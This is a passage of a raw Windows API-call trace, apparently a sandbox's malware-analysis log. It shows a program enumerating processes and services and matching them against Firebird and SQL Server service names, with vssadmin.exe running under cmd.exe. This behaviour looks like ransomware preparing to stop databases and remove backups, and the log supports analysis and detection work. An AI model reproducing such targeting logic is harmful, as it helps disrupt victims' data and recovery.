returned 16 [0242.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0242.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0242.976] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0242.976] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0242.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0242.976] lstrlenW (lpString="Spooler") returned 7 [0242.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0242.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0242.976] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0242.976] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0242.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0242.976] lstrlenW (lpString="StateRepository") returned 15 [0242.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0242.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0242.976] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0242.976] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0242.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0242.976] lstrlenW (lpString="SysMain") returned 7 [0242.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0242.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0242.976] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0242.976] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0242.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0242.976] lstrlenW (lpString="SystemEventsBroker") returned 18 [0242.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0242.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0242.976] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0242.976] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0242.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0242.976] lstrlenW (lpString="Themes") returned 6 [0242.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0242.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0242.976] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0242.976] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0242.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0242.976] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0242.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0242.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0242.976] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0242.976] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0242.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1 [0242.976] lstrlenW (lpString="TimeBrokerSvc") returned 13 [0242.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0242.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0242.976] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1 [0242.976] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1 [0242.977] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x4a4 [0242.979] Process32FirstW (in: hSnapshot=0x4a4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0242.980] Process32NextW (in: hSnapshot=0x4a4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0242.980] lstrlenW (lpString="System") returned 6 [0242.980] Process32NextW (in: hSnapshot=0x4a4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0242.980] lstrlenW (lpString="smss.exe") returned 8 [0242.981] Process32NextW (in: hSnapshot=0x4a4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0242.981] lstrlenW (lpString="csrss.exe") returned 9 [0242.981] Process32NextW (in: hSnapshot=0x4a4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0242.981] lstrlenW (lpString="wininit.exe") returned 11 [0242.981] Process32NextW (in: hSnapshot=0x4a4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0243.142] lstrlenW (lpString="csrss.exe") returned 9 [0243.142] Process32NextW (in: hSnapshot=0x4a4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0243.142] lstrlenW (lpString="winlogon.exe") returned 12 [0243.143] Process32NextW (in: hSnapshot=0x4a4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0243.143] lstrlenW (lpString="services.exe") returned 12 [0243.143] Process32NextW (in: hSnapshot=0x4a4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0243.143] lstrlenW (lpString="lsass.exe") returned 9 [0243.143] Process32NextW (in: hSnapshot=0x4a4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0243.144] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0243.144] Process32NextW (in: hSnapshot=0x4a4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x224, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0243.144] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0243.144] Process32NextW (in: hSnapshot=0x4a4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.144] lstrlenW (lpString="svchost.exe") returned 11 [0243.144] Process32NextW (in: hSnapshot=0x4a4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.145] lstrlenW (lpString="svchost.exe") returned 11 [0243.145] Process32NextW (in: hSnapshot=0x4a4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x224, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0243.145] lstrlenW (lpString="dwm.exe") returned 7 [0243.145] Process32NextW (in: hSnapshot=0x4a4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.145] lstrlenW (lpString="svchost.exe") returned 11 [0243.145] Process32NextW (in: hSnapshot=0x4a4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.146] lstrlenW (lpString="svchost.exe") returned 11 [0243.146] Process32NextW (in: hSnapshot=0x4a4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.146] lstrlenW (lpString="svchost.exe") returned 11 [0243.146] Process32NextW (in: hSnapshot=0x4a4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x36, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.146] lstrlenW (lpString="svchost.exe") returned 11 [0243.146] Process32NextW (in: hSnapshot=0x4a4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.147] lstrlenW (lpString="svchost.exe") returned 11 [0243.147] Process32NextW (in: hSnapshot=0x4a4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x428, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.147] lstrlenW (lpString="svchost.exe") returned 11 [0243.147] Process32NextW (in: hSnapshot=0x4a4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.147] lstrlenW (lpString="svchost.exe") returned 11 [0243.147] Process32NextW (in: hSnapshot=0x4a4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x550, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.148] lstrlenW (lpString="svchost.exe") returned 11 [0243.148] Process32NextW (in: hSnapshot=0x4a4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.148] lstrlenW (lpString="svchost.exe") returned 11 [0243.148] Process32NextW (in: hSnapshot=0x4a4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.148] lstrlenW (lpString="svchost.exe") returned 11 [0243.148] Process32NextW (in: hSnapshot=0x4a4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0243.149] lstrlenW (lpString="spoolsv.exe") returned 11 [0243.149] Process32NextW (in: hSnapshot=0x4a4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x66c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.149] lstrlenW (lpString="svchost.exe") returned 11 [0243.149] Process32NextW (in: hSnapshot=0x4a4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x508, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0243.149] lstrlenW (lpString="audiodg.exe") returned 11 [0243.149] Process32NextW (in: hSnapshot=0x4a4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.149] lstrlenW (lpString="svchost.exe") returned 11 [0243.150] Process32NextW (in: hSnapshot=0x4a4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0243.150] lstrlenW (lpString="sihost.exe") returned 10 [0243.150] Process32NextW (in: hSnapshot=0x4a4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x790, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0243.150] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0243.150] Process32NextW (in: hSnapshot=0x4a4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0243.150] lstrlenW (lpString="Memory Compression") returned 18 [0243.151] Process32NextW (in: hSnapshot=0x4a4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0243.151] lstrlenW (lpString="taskhostw.exe") returned 13 [0243.151] Process32NextW (in: hSnapshot=0x4a4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3f, th32ParentProcessID=0x928, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0243.151] lstrlenW (lpString="explorer.exe") returned 12 [0243.151] Process32NextW (in: hSnapshot=0x4a4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0243.151] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0243.151] Process32NextW (in: hSnapshot=0x4a4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0243.152] lstrlenW (lpString="SearchUI.exe") returned 12 [0243.152] Process32NextW (in: hSnapshot=0x4a4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0243.152] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0243.152] Process32NextW (in: hSnapshot=0x4a4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x938, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0243.152] lstrlenW (lpString="winhost.exe") returned 11 [0243.152] Process32NextW (in: hSnapshot=0x4a4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd00, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0243.153] lstrlenW (lpString="cmd.exe") returned 7 [0243.153] Process32NextW (in: hSnapshot=0x4a4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0243.153] lstrlenW (lpString="conhost.exe") returned 11 [0243.153] Process32NextW (in: hSnapshot=0x4a4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0243.153] lstrlenW (lpString="dllhost.exe") returned 11 [0243.154] Process32NextW (in: hSnapshot=0x4a4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xd0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0243.154] lstrlenW (lpString="vssadmin.exe") returned 12 [0243.154] Process32NextW (in: hSnapshot=0x4a4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0243.154] lstrlenW (lpString="dllhost.exe") returned 11 [0243.154] Process32NextW (in: hSnapshot=0x4a4, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0243.154] CloseHandle (hObject=0x4a4) returned 1 [0243.154] Sleep (dwMilliseconds=0x1f4) [0243.688] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x40eb198 [0243.688] EnumServicesStatusExW (in: hSCManager=0x40eb198, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x244ff3c, lpServicesReturned=0x244ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x244ff3c, lpServicesReturned=0x244ff54, lpResumeHandle=0x0) returned 0 [0243.689] GetLastError () returned 0xea [0243.689] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1b30) returned 0x5000860 [0243.689] EnumServicesStatusExW (in: hSCManager=0x40eb198, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5000860, cbBufSize=0x1b30, pcbBytesNeeded=0x244ff3c, lpServicesReturned=0x244ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5000860, pcbBytesNeeded=0x244ff3c, lpServicesReturned=0x244ff54, lpResumeHandle=0x0) returned 1 [0243.689] CloseServiceHandle (hSCObject=0x40eb198) returned 1 [0243.690] lstrlenW (lpString="Appinfo") returned 7 [0243.690] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0243.690] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0243.690] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0243.690] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0243.690] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0243.690] lstrlenW (lpString="AppXSvc") returned 7 [0243.690] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0243.690] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0243.690] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0243.690] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0243.690] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0243.690] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0243.690] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0243.690] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0243.690] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0243.690] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0243.690] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0243.690] lstrlenW (lpString="Audiosrv") returned 8 [0243.690] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0243.690] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0243.690] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0243.690] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0243.690] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0243.690] lstrlenW (lpString="BFE") returned 3 [0243.690] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0243.690] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0243.690] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0243.690] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0243.690] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0243.690] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0243.690] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0243.690] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0243.690] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0243.690] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0243.690] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0243.690] lstrlenW (lpString="CDPSvc") returned 6 [0243.690] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0243.690] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0243.690] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0243.690] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0243.690] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0243.690] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0243.690] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0243.690] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0243.691] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0243.691] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0243.691] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0243.691] lstrlenW (lpString="CryptSvc") returned 8 [0243.691] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0243.691] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0243.691] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0243.691] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0243.691] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0243.691] lstrlenW (lpString="DcomLaunch") returned 10 [0243.691] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0243.691] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0243.691] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0243.691] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0243.691] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0243.691] lstrlenW (lpString="DeviceAssociationService") returned 24 [0243.691] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0243.691] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0243.691] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0243.691] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0243.691] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0243.691] lstrlenW (lpString="Dhcp") returned 4 [0243.691] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0243.691] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0243.691] lstrcmpiW 